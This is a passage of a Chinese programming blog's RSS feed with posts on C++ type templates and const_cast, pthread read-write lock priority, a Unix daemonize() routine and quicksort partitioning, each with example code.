">&nbsp;18</span>&nbsp;template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #008080; ">&nbsp;19</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;T*&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;20</span>&nbsp;template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #008080; ">&nbsp;21</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;<span style="color: #0000FF; ">const</span>&nbsp;T*&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;22</span>&nbsp;template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #008080; ">&nbsp;23</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;T*<span style="color: #0000FF; ">const</span>&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;24</span>&nbsp;template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #008080; ">&nbsp;25</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;<span style="color: #0000FF; ">const</span>&nbsp;T&nbsp;*<span style="color: #0000FF; ">const</span>&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;26</span>&nbsp;template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #008080; ">&nbsp;27</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;T**&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;28</span>&nbsp;template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #008080; ">&nbsp;29</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;<span style="color: #0000FF; ">const</span>&nbsp;T**&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;30</span>&nbsp;template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #008080; ">&nbsp;31</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;T**<span style="color: #0000FF; ">const</span>&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;32</span>&nbsp;template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #008080; ">&nbsp;33</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;T&amp;&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;34</span>&nbsp;template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #008080; ">&nbsp;35</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;T&amp;&amp;&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;36</span>&nbsp;template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #008080; ">&nbsp;37</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;<span style="color: #0000FF; ">const</span>&nbsp;T&amp;&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;38</span>&nbsp;template&nbsp;&lt;typename&nbsp;T,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;N&gt;<br /><span style="color: #008080; ">&nbsp;39</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;T[N]&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;40</span>&nbsp;template&nbsp;&lt;typename&nbsp;T,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;N&gt;<br /><span style="color: #008080; ">&nbsp;41</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;<span style="color: #0000FF; ">const</span>&nbsp;T[N]&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;42</span>&nbsp;template&nbsp;&lt;typename&nbsp;T,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;N&gt;<br /><span style="color: #008080; ">&nbsp;43</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;T*[N]&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;44</span>&nbsp;template&nbsp;&lt;typename&nbsp;T,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;N&gt;<br /><span style="color: #008080; ">&nbsp;45</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;<span style="color: #0000FF; ">const</span>&nbsp;T*[N]&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;46</span>&nbsp;template&nbsp;&lt;typename&nbsp;T,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;N&gt;<br /><span style="color: #008080; ">&nbsp;47</span>&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;type_to_pointer&lt;<span style="color: #0000FF; ">const</span>&nbsp;T&nbsp;*<span style="color: #0000FF; ">const</span>[N]&gt;&nbsp;{&nbsp;typedef&nbsp;T*&nbsp;type;&nbsp;};<br /><span style="color: #008080; ">&nbsp;48</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;49</span>&nbsp;template&nbsp;&lt;typename&nbsp;FromType,&nbsp;typename&nbsp;ToType&nbsp;=&nbsp;<span style="color: #0000FF; ">void</span>&gt;<br /><span style="color: #008080; ">&nbsp;50</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;type_printer()&nbsp;{<br /><span style="color: #008080; ">&nbsp;51</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;__PRETTY_FUNCTION__&nbsp;&lt;&lt;&nbsp;endl;<br /><span style="color: #008080; ">&nbsp;52</span>&nbsp;}<br /><span style="color: #008080; ">&nbsp;53</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;54</span>&nbsp;<span style="color: #0000FF; ">#define</span>&nbsp;TYPE_PRINT(var)&nbsp;type_printer&lt;decltype(var),&nbsp;type_to_pointer&lt;decltype(var)&gt;::type&gt;()<br /><span style="color: #008080; ">&nbsp;55</span>&nbsp;<span style="color: #0000FF; ">#define</span>&nbsp;CONST_CAST_TO_POINTER(var)&nbsp;const_cast&lt;typename&nbsp;type_to_pointer&lt;decltype(var)&gt;::type&gt;(var)<br /><span style="color: #008080; ">&nbsp;56</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;57</span>&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;main(<span style="color: #0000FF; ">int</span>&nbsp;argc,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;argv[])&nbsp;{<br /><span style="color: #008080; ">&nbsp;58</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;x1&nbsp;=&nbsp;0;<br /><span style="color: #008080; ">&nbsp;59</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x1);<br /><span style="color: #008080; ">&nbsp;60</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;61</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;<span style="color: #0000FF; ">int</span>&amp;&nbsp;x2&nbsp;=&nbsp;x1;<br /><span style="color: #008080; ">&nbsp;62</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x2);<br /><span style="color: #008080; ">&nbsp;63</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;64</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;x3&nbsp;=&nbsp;&amp;x1;<br /><span style="color: #008080; ">&nbsp;65</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x3);<br /><span style="color: #008080; ">&nbsp;66</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(CONST_CAST_TO_POINTER(x3));<br /><span style="color: #008080; ">&nbsp;67</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;68</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;*<span style="color: #0000FF; ">const</span>&nbsp;x4&nbsp;=&nbsp;&amp;x1;<br /><span style="color: #008080; ">&nbsp;69</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x4);<br /><span style="color: #008080; ">&nbsp;70</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(CONST_CAST_TO_POINTER(x4));<br /><span style="color: #008080; ">&nbsp;71</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;72</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&amp;&nbsp;x5&nbsp;=&nbsp;x1;<br /><span style="color: #008080; ">&nbsp;73</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x5);<br /><span style="color: #008080; ">&nbsp;74</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;75</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;*<span style="color: #0000FF; ">const</span>&nbsp;x6&nbsp;=&nbsp;&amp;x1;<br /><span style="color: #008080; ">&nbsp;76</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x6);<br /><span style="color: #008080; ">&nbsp;77</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(CONST_CAST_TO_POINTER(x6));<br /><span style="color: #008080; ">&nbsp;78</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;79</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;x7&nbsp;=&nbsp;&amp;x1;<br /><span style="color: #008080; ">&nbsp;80</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x7);<br /><span style="color: #008080; ">&nbsp;81</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;82</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&amp;&amp;&nbsp;x8&nbsp;=&nbsp;0;<br /><span style="color: #008080; ">&nbsp;83</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x8);<br /><span style="color: #008080; ">&nbsp;84</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;85</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;x9[2]&nbsp;=&nbsp;{1,&nbsp;2};<br /><span style="color: #008080; ">&nbsp;86</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x9);<br /><span style="color: #008080; ">&nbsp;87</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;88</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;x10[2]&nbsp;=&nbsp;{1,&nbsp;2};<br /><span style="color: #008080; ">&nbsp;89</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x10);<br /><span style="color: #008080; ">&nbsp;90</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;91</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;x11[2]&nbsp;=&nbsp;{NULL,&nbsp;NULL};<br /><span style="color: #008080; ">&nbsp;92</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x11);<br /><span style="color: #008080; ">&nbsp;93</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;94</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;x12[2]&nbsp;=&nbsp;{NULL,&nbsp;NULL};<br /><span style="color: #008080; ">&nbsp;95</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x12);<br /><span style="color: #008080; ">&nbsp;96</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;97</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;*<span style="color: #0000FF; ">const</span>&nbsp;x13[2]&nbsp;=&nbsp;{NULL,&nbsp;NULL};<br /><span style="color: #008080; ">&nbsp;98</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(x13);<br /><span style="color: #008080; ">&nbsp;99</span>&nbsp;<br /><span style="color: #008080; ">100</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(argc);<br /><span style="color: #008080; ">101</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TYPE_PRINT(argv);<br /><span style="color: #008080; ">102</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br /><span style="color: #008080; ">103</span>&nbsp;}</div></div><img src ="http://www.blogjava.net/bacoo/aggbug/433477.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2018-11-08 19:03 <a href="http://www.blogjava.net/bacoo/archive/2018/11/08/433477.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>read-write lock</title><link>http://www.blogjava.net/bacoo/archive/2018/05/14/433212.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Mon, 14 May 2018 04:07:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2018/05/14/433212.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/433212.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2018/05/14/433212.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/433212.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/433212.html</trackback:ping><description><![CDATA[（一）当前被读锁占着<br /> &nbsp;&nbsp;&nbsp;&nbsp;1。如果读优先(默认是PTHREAD_RWLOCK_PREFER_READER_NP，即读优先)，那么等着的读请求可以快速拿到锁，写一直被饿着（直到没有任何等待获取读锁的情况下，写才能拿到写锁）；<br /> &nbsp;&nbsp;&nbsp;&nbsp;2。如果写优先，那么读和写都等着，一但前面的读释放了锁，写立刻就会优先读来拿到锁；<br /> （二）当前被写锁占着<br /> &nbsp;&nbsp;&nbsp;&nbsp;不论谁优先，都需要把所有等着的写都服务完，才会给读机会，所以写多读少的情况下，就应该用互斥锁了；<br /><br />测试程序：<br />#include &lt;iostream&gt;<div>#include &lt;string&gt;</div><div>#include &lt;fstream&gt;</div><div>#include &lt;sstream&gt;</div><div>#include &lt;stdint.h&gt;</div><div>#include &lt;pthread.h&gt;</div><div>#include &lt;vector&gt;</div><div>#include &lt;map&gt;</div><div>#include &lt;set&gt;</div><div></div><div>using namespace std;</div><div></div><div>long g_idx = 0;</div><div></div><div>class ThreadRwLock {</div><div>private:</div><div>&nbsp; &nbsp; pthread_rwlock_t m_rw_mutex;</div><div></div><div>public:</div><div>&nbsp; &nbsp; ThreadRwLock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlockattr_t attr;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; // 设置写优先</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlockattr_init(&amp;attr);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; //pthread_rwlockattr_setkind_np(&amp;attr, PTHREAD_RWLOCK_PREFER_WRITER_NONRECURSIVE_NP);</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlock_init(&amp;m_rw_mutex, &amp;attr);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; ~ThreadRwLock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlock_destroy(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void rdlock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlock_rdlock(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void wrlock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlock_wrlock(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; int tryrdlock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return pthread_rwlock_tryrdlock(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; int trywrlock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return pthread_rwlock_trywrlock(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void unlock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlock_unlock(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div>};</div><div></div><div>ThreadRwLock g_lock;</div><div></div><div>void* thread_routine(void* arg) {</div><div>&nbsp; &nbsp; long is_write = (long)arg;</div><div>&nbsp; &nbsp; if (is_write) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("%lu wait write lock\n", pthread_self()); fflush(stdout);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; g_lock.wrlock();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; long idx = __sync_add_and_fetch(&amp;g_idx, 1);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("%lu get write lock, %ld\n", pthread_self(), idx); fflush(stdout);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sleep(5);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; g_lock.unlock();</div><div>&nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("%lu wait read lock\n", pthread_self()); fflush(stdout);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; g_lock.rdlock();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; long idx = __sync_add_and_fetch(&amp;g_idx, 1);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("%lu get read lock, %ld\n", pthread_self(), idx); fflush(stdout);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sleep(5);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; g_lock.unlock();</div><div>&nbsp; &nbsp; }</div><div>&nbsp; &nbsp; return NULL;</div><div>}</div><div></div><div>int main(int argc, char* argv[]) {</div><div>&nbsp; &nbsp; pthread_t tid = 0;</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div></div><div>&nbsp; &nbsp; getchar(); //让程序暂停，等待键盘敲入一个字节后，接着走</div><div></div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; sleep(2); //确保写锁被优先拿到</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div></div><div>&nbsp; &nbsp; getchar();</div><div>&nbsp; &nbsp; return 0;</div><div>}</div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/433212.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2018-05-14 12:07 <a href="http://www.blogjava.net/bacoo/archive/2018/05/14/433212.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>daemonize</title><link>http://www.blogjava.net/bacoo/archive/2018/04/12/433150.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 12 Apr 2018 10:36:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2018/04/12/433150.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/433150.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2018/04/12/433150.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/433150.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/433150.html</trackback:ping><description><![CDATA[<div>#include &lt;sys/param.h&gt;</div><div>#include &lt;signal.h&gt;</div><div>#include &lt;stdlib.h&gt;</div><div>#include &lt;fcntl.h&gt;</div><div>#include &lt;unistd.h&gt;</div><div>#include &lt;sys/stat.h&gt;</div><div></div><div>void daemonize() {</div><div>&nbsp; &nbsp; int pid = -1, fd = -1;</div><div></div><div>&nbsp; &nbsp; // 1.转变为后台进程</div><div>&nbsp; &nbsp; if ((pid = fork()) == -1) exit(1);</div><div>&nbsp; &nbsp; if (pid != 0) exit(0); // 父进程（前台进程）退出</div><div></div><div>&nbsp; &nbsp; // 2.离开原先的进程组，会话</div><div>&nbsp; &nbsp; if (setsid() == -1) exit(1); // 开启一个新会话</div><div></div><div>&nbsp; &nbsp; // 3.禁止再次打开控制终端</div><div>&nbsp; &nbsp; if ((pid = fork()) == -1) exit(1);</div><div>&nbsp; &nbsp; if (pid != 0) exit(0); // 父进程（会话领头进程）退出</div><div></div><div>&nbsp; &nbsp; // 4.关闭打开的文件描述符，避免浪费系统资源</div><div>&nbsp; &nbsp; for (int i = 0; i &lt; NOFILE; i++)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; close(i);</div><div></div><div>&nbsp; &nbsp; // 5.改变当前的工作目录，避免卸载不了文件系统</div><div>&nbsp; &nbsp; if (chdir("/") == -1) exit(1);</div><div></div><div>&nbsp; &nbsp; // 6.重设文件掩码，防止某些属性被父进程屏蔽，也有设置为0027的（守护进程创建的临时文件不希望被其他用户查看）</div><div>&nbsp; &nbsp; umask(0);</div><div></div><div>&nbsp; &nbsp; // 7.重定向标准输入，输出，错误流，因为守护进程没有控制终端</div><div>&nbsp; &nbsp; // 如果只是把0、1、2都close了，那么守护进程里新创建的文件fd会用到0、1、2，如果用户的代码里有用到printf/cout之类的，那就会把数据打到新创建的文件中，这样就会产生混淆</div><div>&nbsp; &nbsp; if ((fd = open("/dev/null", O_RDWR)) == -1) exit(1); // 打开一个指向/dev/null的文件描述符</div><div>&nbsp; &nbsp; dup2(fd, STDIN_FILENO);</div><div>&nbsp; &nbsp; dup2(fd, STDOUT_FILENO);</div><div>&nbsp; &nbsp; dup2(fd, STDERR_FILENO);</div><div>&nbsp; &nbsp; close(fd);</div><div></div><div>&nbsp; &nbsp; // 8.本守护进程的子进程若不需要返回信息，那么交给init进程回收，避免产生僵尸进程，否则子进程退出后将成为僵尸进程</div><div>&nbsp; &nbsp; if (signal(SIGCHLD, SIG_IGN) == SIG_ERR) exit(1);</div><div>}</div><div><br /><div>对setsid阐述较透彻：http://www.cnblogs.com/xuxm2007/archive/2011/07/29/2121280.html</div><div>对终端的事说了些：http://blog.51cto.com/10541559/1771212</div><div>对syslog的事说了些：https://www.linuxidc.com/Linux/2015-01/111933.htm</div><div>此外，man 3 daemon这个库函数只实现了部分阶段（例如没有屏蔽SIGCHLD以及对mask做任何处理）：https://github.com/lattera/glibc/blob/master/misc/daemon.c</div></div><img src ="http://www.blogjava.net/bacoo/aggbug/433150.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2018-04-12 18:36 <a href="http://www.blogjava.net/bacoo/archive/2018/04/12/433150.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>partition of quick sort</title><link>http://www.blogjava.net/bacoo/archive/2017/11/26/432921.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Sat, 25 Nov 2017 16:03:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2017/11/26/432921.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/432921.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2017/11/26/432921.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/432921.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/432921.html</trackback:ping><description><![CDATA[<div>&nbsp; &nbsp; int partition(vector&lt;int&gt;&amp; nums, int i, int j) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; int pivot = i++;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; while (true) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (i &lt;= j &amp;&amp; nums[i] &lt;= nums[pivot]) ++i; //a</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (j &gt;= i &amp;&amp; nums[j] &gt;= nums[pivot]) --j; //b</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (i &gt; j) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int t = nums[i]; nums[i++] = nums[j]; nums[j--] = t; //c</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; int t = nums[j]; nums[j] = nums[pivot]; nums[pivot] = t;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return j;</div><div>&nbsp; &nbsp; }<br />上面这段代码里，细节太多太多，居然搞了一晚上才搞出来，总的来说大方向上：<br />1. 要确保最后能i &gt; j才能终止（其实终止的时候，是一定满足j + 1 == i的）；<br />2. 因为保留的是最左侧的数为基准，排序目标是从左到右按照从小到大排，因此最后要把pivot和j交换；<br />3. //a和//b里，其实只要有一个nums[i]/nums[j]和nums[pivot]的等于判断就可以了，这里为了一致性，都保留了对等于的判断；<br />4. //c里增加了i和j各自挪一步的操作，因此如下写法更好：<br /><div>&nbsp; &nbsp; int partition(vector&lt;int&gt;&amp; nums, int i, int j) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; int pivot = i++;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; while (true) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (i &lt;= j &amp;&amp; nums[i] &lt;= nums[pivot]) ++i;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (j &gt;= i &amp;&amp; nums[j] &gt;= nums[pivot]) 